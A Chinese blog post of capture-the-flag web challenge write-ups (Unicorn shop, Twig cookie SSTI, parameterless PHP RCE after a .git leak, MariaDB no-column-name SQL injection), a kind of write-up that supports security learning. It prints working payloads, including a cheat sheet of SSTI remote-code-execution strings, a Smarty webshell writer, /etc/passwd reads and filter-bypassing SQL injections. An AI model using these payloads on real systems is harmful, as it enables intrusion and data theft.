BUU刷题记8

[ASIS 2019]Unicorn shop

开局尝试输入ID和Price购买

发现除了ID为4其他的ID都会提示:

在这里插入图片描述

如果输入ID为4,Price小于1337,会提示钱不够

但是如果我们输入足够的Price,会提示

在这里插入图片描述

如果我们上面参数都不输入直接提交,会出现报错


Traceback (most recent call last):
  File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 1541, in _execute
    result = method(*self.path_args, **self.path_kwargs)
  File "/app/sshop/views/Shop.py", line 34, in post
    unicodedata.numeric(price)
TypeError: need a single Unicode character as parameter

我们注意到unicodedata.numeric(price)
TypeError: need a single Unicode character as parameter

  • 这个讯息,也就是说price参数只能是一个单独的Unicode字符

  • 我们了解一下unicodedata.numeric这个方法
    python unicodedata.numeric(chr[, default])

  • 功能

把一个表示数字的字符串转换为浮点数返回的函数
注意: Unicode字符(chr),不是字符串
在这里插入图片描述
这就是一道Unicode编码转换问题

Payload

在这里插入图片描述

参考

python unicodedata.numeric(chr[, default])
浅谈Unicode设计的安全性

[BJDCTF2020]Cookie is so stable

知识点

cookie与Twig的SSTI

在这里插入图片描述

题目给出了三个页面,在Hint网页源码中给出了提示:与cookie有关
在这里插入图片描述

  • 而flag页面中是可以提交参数的,并且页面返回了我们提交的参数值,这里可以猜测:
  • 参数是否会被执行呢?
  • 在Flag页面bp抓包,发现cookie并且页面post传递两个参数,在放包的第二个页面,cookie中出现了新参数user,值为我们传递的username值
  • 在这里插入图片描述
    在这里插入图片描述
  • 猜测SSTTI模板注入攻击 ,根据返回结果判断模板类型
  • Payload:user={{7*'7'}}
  • 返回了执行后的结果

Burpsuite 则对不同模板接受的 payload 做了一个分类,并以此快速判断模板引擎:
在这里插入图片描述
这里的绿线表示结果成功返回,红线反之。有些时候,同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说{{7*‘7’}}会在 Twig 中返回49,而在 Jinja2 中则是7777777。

由此判断为使用了Twig模板

Twig模板是有漏洞的特殊格式的Payload的

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

flag一般放在了网站根目录下,构造Payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
返回页面中得到flag

常见SSTI的Payload

  1. Smarty拿取webshell{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
  2. Twig 命令执行{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  3. freeMarker<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
  4. python
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
&#123;&#123; c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") &#125;&#125;
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      &#123;&#123; b['eval']('__import__("os").popen("dir").read()') &#125;&#125;
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
  1. Jinjia2模板引擎通用的RCE Payload:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}
  2. python2
# 读
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
# 写
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('test') }}
####执行命令
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__
下有eval__import__等的全局函数,可以利用此来执行命令:
#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
  1. python3
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
####在本地python中测试
().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')

().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")

[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')
  1. flask的命令执行payload:就是拆分关键词进行绕过
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

参考

信安小蚂蚁详解
K0rz3n介绍 SSTI 漏洞
二向箔安全学院SSTI介绍
SSTI检测工具tplmap地址

[GXYCTF2019]禁止套娃

知识点

  1. .git文件泄露
  2. PHP正则绕过
  3. (?R)?无参rce
  • F12及抓包查看都没有得到线索,尝试dirsearch扫描网站目录
  • Payload:python dirsearch.py -u "a07831d1-f6c8-4f41-a59e-a4b4bc17a3f5.node4.buuoj.cn:81" -e* -w db/ctf.txt
    在这里插入图片描述
  • 应该是git文件泄露
  • 这里使用GitHack恢复源文件

Payload:python GitHack.py http://a07831d1-f6c8-4f41-a59e-a4b4bc17a3f5.node4.buuoj.cn/.git/
在这里插入图片描述

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

第一个正则, if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
意思就是不让我们用伪协议去直接读取文件。

第二个正则, if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
这里使用preg_replace替换匹配到的字符为空, [a-z,_]匹配小写字母以及下划线,然后(?R)?这个意思为递归整个匹配模式(就是这个式子他会递归调用当前的正则表达式)。

  • 也就是说会出现[a-z,]+((?R)?),[a-z,]+([a-z,_]+((?R)?))的情况,也就是所谓的无参数函数校验。
  • 综上:正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;

至于最后一个正则: if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
就是过滤了一些函数名

总结

  1. 不能用伪协议
  2. 只能用无参数函数形式
  3. 绕过被过滤的函数

Payload构造

既然是读文件获取flag,首先应该执行的应该是print_r(scandir('.'))列举当前目录下的所有文件.但是此题无法进行传参,所以我们需要构造.

在这之前先获取一些全局变量的信息,测试本题是否回显:

?exp=print_r(phpversion());

在这里插入图片描述
PHP版本为5.6.40

接下来构造.,查看当前目录下文件

  1. localeconv() 返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."
  2. current() 返回数组中的单元,默认取第一个值(取得返回的.
  3. scandir() 函数返回指定目录中的文件和目录的数组
  4. print_r() 函数用于打印变量,以更容易理解的形式展示
    payload:?exp=print_r(scandir(current(localeconv())));
    在这里插入图片描述

可以看到flag.php文件在第三个位置,如何读取呢?
法一:

  1. array_reverse() 以相反的元素顺序返回数组
  2. next():将当前数组的光标向后移一位
    payload:?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

法二:(比较麻烦一点,拓展思路)

  1. array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组
  2. array_flip() 反转数组中所有的键以及它们关联的值
  3. show_source() 函数对文件进行语法高亮显示。 本函数是 highlight_file() 的别名。
    payload:?exp=print_r(show_source(array_rand(array_flip(scandir(current(localeconv()))))));
  • 因为返回的数组键名是随机的(0-4),所以需要多试几次
    在这里插入图片描述

参考

M1saka M1k0t0(法一)
入山梵行(法二)
无参RCE总结

[SWPU2019]Web1

知识点

  1. 无列名注入
  2. Maria数据库的这个表可以查表名:mysql.innodb_table_stats

题目在注册一个号,发布广告时bp抓包存在三个参数
在这里插入图片描述

  • 在广告详情处发现了可能的注入点,并返回了我们输入的内容

在这里插入图片描述

返回了我们输入的值,尝试在广告申请处构造语句

  • 本题过滤了空格, #, --+, and、or
  1. 我们使用/**/来替代空格;
  2. 没有办法注释,闭合引号即可;
  3. 过滤了or,无法使用order by,使用group by替代。
  4. or过滤掉那么information_schema也无法用了
  • 使用group by判断列数
-1'/**/group/**/by/**/22,'2

22时没有报错,即该表有22列

  • 检测回显位置
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述

payload

用mysql.innodb_table_stats报表名

  • 爆表名
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述

现在需要查看表内具体内容,但是因为information_schema被过滤,作为替代的mysql.innodb_table_stats又没有列名,怎么办呢?-----> 无列名注入

  • 查询表内容:
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述

  • 查看第三列
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

  • 得到flag

无列名注入

Maria数据库的这个表可以查表名:mysql.innodb_table_stats
https://mariadb.com/kb/en/mysqlinnodb_table_stats/

  • About MariaDB

  • 成立于2009年,MySQL之父Michael “Monty” Widenius用他的新项目MariaDB完成了对MySQL的“反戈一击”。开发这个分支的原因之一是:甲骨文公司收购了MySQL后,有将MySQL闭源的潜在风险,因此社区采用分支的方式来避开这个风险。 过去一年中,大型互联网用户以及Linux发行商纷纷抛弃MySQL,转投MariaDB阵营。MariaDB是目前最受关注的MySQL数据库衍生版,也被视为开源数据库MySQL的替代品。

0x02 无列名注入
  1. 创建一个数据库叫 testdb,再创一个 user 表,结构如下:
    在这里插入图片描述
  2. 往这个表里插入一些数据:
mysql> insert into user values(1,'admin','778778'),(2,'Artd33','123520');
  1. 正常查询:
mysql> select * from user;

在这里插入图片描述
4. 这时再使用一个union查询:

mysql> select 1,2,3 union select * from user;

在这里插入图片描述
5. 利用数字3代替未知的列名,需要加上反引号。后面加了一个a是为了表示这个表(select 1,2,3 union select * from user)的别名,不然会报错。

mysql> select `3` from (select 1,2,3 union select * from user)a;

在这里插入图片描述

这句话的意思是,使用括号内的select语句构建一张新表a,然后从a中选取列名为‘3’的列,即原来的passwd列。

  1. 当 ` 不能使用时,用别名来代替:
mysel> select b from (select 1,2,3 as b union select * from user)a;

在这里插入图片描述

参考

AikNr题解
yueyejianMariaDB特性

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值